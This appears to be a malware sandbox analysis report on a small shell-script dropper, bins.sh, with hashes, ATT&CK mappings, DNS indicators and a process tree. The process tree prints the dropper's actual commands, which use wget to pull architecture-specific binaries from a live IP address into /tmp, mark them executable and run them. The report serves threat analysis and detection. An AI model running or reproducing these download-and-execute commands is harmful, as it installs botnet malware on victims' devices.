5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a

Analysis

max time kernel
3s
max time network
4s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/07/2026, 00:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 402B
Sample260720-aky2dsct71
SHA256 5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a
MD5 7e191799f2483510e894d8e0d30915cf
SHA1 43b4451a70caf878cac45d117e64636e59273e32
SHA512 81e9fea749ef14ddaf9fcd3c0db1f79f26ad407818929fd8dc12f0df64e2fbfbaad71e24192c23c62a2a6c05fb0ed28bd3b768db1b74ccaf4f43050d979b363f
TLSH
T10EE02BE6A8924072DC8848DB55BBC98F114010231810355C703F693867DD5D5A975FFA
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
679	chmod
682	chmod
686	chmod
690	chmod
695	chmod
664	chmod
672	chmod
676	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/arm	665	bins.sh
/tmp/arm5	673	bins.sh
/tmp/arm6	677	bins.sh
/tmp/arm7	680	bins.sh
/tmp/x86	683	bins.sh
/tmp/x86_32	687	bins.sh
/tmp/m68k	691	bins.sh
/tmp/mips	697	bins.sh

Unexpected DNS network traffic destination 10 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	195.10.195.195
Destination IP	81.169.136.222
Destination IP	81.169.136.222
Destination IP	195.10.195.195
Destination IP	195.10.195.195
Destination IP	195.10.195.195
Destination IP	195.10.195.195
Destination IP	81.169.136.222
Destination IP	81.169.136.222
Destination IP	81.169.136.222

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
697	mips
692	wget

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86_32	wget
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm5	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:643
- /usr/bin/wget
  wget http://156.226.174.98/release/arm -O /tmp/arm
  2⤵
  - Writes file to tmp directory
  PID:644
- /bin/chmod
  chmod +x /tmp/arm
  2⤵
  - File and Directory Permissions Modification
  PID:664
- /usr/bin/wget
  wget http://156.226.174.98/release/arm5 -O /tmp/arm5
  2⤵
  - Writes file to tmp directory
  PID:666
- /tmp/arm
  /tmp/arm aterna
  2⤵
  PID:665
- /bin/chmod
  chmod +x /tmp/arm5
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /usr/bin/wget
  wget http://156.226.174.98/release/arm6 -O /tmp/arm6
  2⤵
  - Writes file to tmp directory
  PID:674
- /tmp/arm5
  /tmp/arm5 aterna
  2⤵
  PID:673
- /bin/chmod
  chmod +x /tmp/arm6
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /usr/bin/wget
  wget http://156.226.174.98/release/arm7 -O /tmp/arm7
  2⤵
  - Writes file to tmp directory
  PID:678
- /tmp/arm6
  /tmp/arm6 aterna
  2⤵
  PID:677
- /bin/chmod
  chmod +x /tmp/arm7
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /usr/bin/wget
  wget http://156.226.174.98/release/x86 -O /tmp/x86
  2⤵
  - Writes file to tmp directory
  PID:681
- /tmp/arm7
  /tmp/arm7 aterna
  2⤵
  PID:680
- /bin/chmod
  chmod +x /tmp/x86
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /usr/bin/wget
  wget http://156.226.174.98/release/x86_32 -O /tmp/x86_32
  2⤵
  - Writes file to tmp directory
  PID:684
- /tmp/x86
  /tmp/x86 aterna
  2⤵
  PID:683
- /bin/chmod
  chmod +x /tmp/x86_32
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /usr/bin/wget
  wget http://156.226.174.98/release/m68k -O /tmp/m68k
  2⤵
  - Writes file to tmp directory
  PID:688
- /tmp/x86_32
  /tmp/x86_32 aterna
  2⤵
  PID:687
- /bin/chmod
  chmod +x /tmp/m68k
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /usr/bin/wget
  wget http://156.226.174.98/release/mips -O /tmp/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:692
- /tmp/m68k
  /tmp/m68k aterna
  2⤵
  PID:691
- /bin/chmod
  chmod +x /tmp/mips
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /usr/bin/wget
  wget http://156.226.174.98/release/mpsl -O /tmp/mpsl
  2⤵
  PID:698
- /tmp/mips
  /tmp/mips aterna
  2⤵
  - System Network Configuration Discovery
  PID:697

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

arm

Path /tmp/arm
Size 221KB
SHA256 c3cd074bbfecf4a56c59eec4a096fe6fcbe926430da315e35237254c4c630904
MD5 9771980c1ad5c2cb70f84c52dc361705
SHA1 7642c6d8a713f36e2c1b5d803a8f908bbf94fc66
SHA512 3ac5250d37db87f1cde5dd5345295b2c8388082bd12f5d28e3f2c7873e498fae5801daaf5bccdc1e7db20b248f00ebab1bf15f6f5c17471b7497c74eeb63d6a7
SSDEEP 6144:BFRCgIulf0fgkrAKQYRcrQg7lyDIKiKH3vtZmLE1SMyV+lH1:BFRCHLrAcq16IKiKH3vtwLE1SMyV+lH1
TLSH
T1FD242B01BD518F53C5D32BBBB79F42993732672887EB7302DA18BE742F4669D0E26211
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 213KB
SHA256 d296143aaf778fca82be5082e64f3fc891b8b2b4d43fb7137bccd217b5412c21
MD5 9759bd0a64b27e5e69eb07921e511e92
SHA1 e5f2315e582f89dc5326f0e502f511287e8721da
SHA512 a4673818d2bd9ec1038a2c2c0bc96e56b76fc46487362eed1d30496a427f5a054b260b2c499e821f3ca4632d7c2c832f09ed40b1f075446751a2e71c9ec8d42f
SSDEEP 6144:rlTTPssqxAniq63lJ+91ry2KJKHtEqZ06L18Hts1QS1:rlTzCxAiVJa1dKJKHtEqC6L18Hts1QS1
TLSH
T16B240B01B8518F53C5C32BBBF7DF42993736671497DB7302EA24AEB42F4669D1E2A201
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 229KB
SHA256 9778402987f2f9aabcf79e09c51fba3a7aacaf288018dc0b3921d3dcf2455b00
MD5 90e43492ca0c94ace542c8e722b86961
SHA1 5bacd5705b9d63f30da39d5c9d2bd4a07dc9a75c
SHA512 6a5ac0efa4a4292095b78512a7c929747f6e21ba41ce962638adb22fbdfdbaea0494baf68264ab09451927989b2a3ffb363d7feb57e40730d4839d86d7f6aa1c
SSDEEP 6144:SA8xA+psxz/f/a7gEbHzuayTvouLrnmW2hVDZI0/16O7Nc:SFxGxbf/ahbTuaajnmW2hVD60/16O7Nc
TLSH
T1E1341902A9528A53C5C21B79BB5F465A3733AB34D3DB3302DA14AFB42F47ADE0E39511
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm7

Path /tmp/arm7
Size 209KB
SHA256 bd8e42c47822fa2624ad08ef4adfd8b82147ebb4afa09a1ae87acf6b238b2008
MD5 579a998389019a687d81b7919d486b99
SHA1 8a2d3e4fd13e0812f248192c3522a5a55f9be6ec
SHA512 489cc5859e0e38cb33908045e2d11d1b0fd852f48953aaaf80a23cc605cc90c89d94375b7c1abf2ca79fe6508c4fca4374b0db2b8207d1ddd6b6267ceb8bcf80
SSDEEP 6144:Yd0yx05aLF3dGegaEUV8nauQd//ukTSHKQdM/RizGy:YSydxdGegaLV8nauQlGw7Qm/UzGy
TLSH
T1C0243A46AA408B13C4D72BBAFBDF425633339B54D7E723059528AFB43F8679A4F22501
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

m68k

Path /tmp/m68k
Size 222KB
SHA256 8ecbb0120ef8567cb12258e6d1d340fddf7c43eb63c35c8d3c9be67371212e52
MD5 8bfa3005622dbcfe51dc012cb2bf5413
SHA1 b10208f4a029bcb4981ccda009a11a4dc19de733
SHA512 0bad7e9108b7d48a1d2225118eef700bb52c2dbfe88fff18f7b3319922f1bbdef288f241501b7d77c86837219c667e28b8f395d17a572f3f3a669e6008a6a321
SSDEEP 6144:/JJBwcWRZ7y1LgIThhHHglLLo9xVOCfY4KH+Ehh6a1A2nONsl1:/DB3HHXIEY4KH+Ehh6a1A2nONsl1
TLSH
T132244C93B905DEBBF40EA77604D307217272FB6549431A32B317BDB5AA3A3C4242AF45
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 251KB
SHA256 1d29407efa89957662720ffb0b2dbd018854613183a8b5e0c43744e97df5859f
MD5 1564bfd0b2d094cff1667e72c402153f
SHA1 dde0d4cae18ce16c95004683e35fdcede43ae449
SHA512 263e2f90de48b3ee7280c164b8ea9a2ed7a887545971040a2b10c7955e71148d4b502533ec5b9ef411c78cc53bc0dd8fdc965b85f7228fb9a5f44ec2babd7143
SSDEEP 6144:eqBNrG+EsmhH6BhfelUhGXWyU1hWF5NqohWUkzn7MwA0:eQNrN9m4BwWyU1hWF5NqohWUkzn7MwA0
TLSH
T15944E81A3E228F7FF26D877007F38A319769769617E2D644E26CD6101F2438D641FBA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 116KB
SHA256 b417602c46d2b9d360ab12eff8d231a912bc4d1a0f69358b8d1b25a6bb15b2c8
MD5 b23b63226dd9ed72b313da925c2f9a4d
SHA1 d77209337a72881d26b96ea6b0543787091f4b7a
SHA512 caba41672d64b7f269a31128738ad618ca97c45ca93825ce2b06c71d6c5f485f6d2079c9b2ea815ba0390b968e068b9d7314efa712f0a2697c48c0906d7fa7f1
SSDEEP 1536:W1MXVwBrNbNOQLbFLkYpgbGxZ5S8g7Rkl9bdzUJ31Q6tNB5czgr1l9FGnBaUUkWG:nXa1Nb15H1xZw0Wu84z439KUkWfSd
TLSH
T169C35BC5E793D4B2D8430B7001ABE7395631EC621329CE2BD76CFFB65F22682B546618
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86_32

Path /tmp/x86_32
Size 152KB
SHA256 cf52a17eca6e450d2912c76c672c985c3f5d1a7d681df83234d32a8f3b8b4b30
MD5 3f4751a9453da29210c4faae12aba857
SHA1 9aea6cf6db36765443895cfcaa73c723770457ae
SHA512 6fd8e82f0628a4381f4df644ba903f6ee2564e8c2df5e5b413246042c5986906c5df8c4169cf1470f92f6d6b8fa922cde1ae76401495e5eafab86da57e180223
SSDEEP 3072:2Y6w4A8/H8uFH1CigkN1MpU5H7+YTv9nUtv:LtnczPYU5H7+YTv9nUtv
TLSH
T149E31B81FA47CAF7D4470AB502A3A73A8632EC290A2BC655FB2DFDF59F175C47109218
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads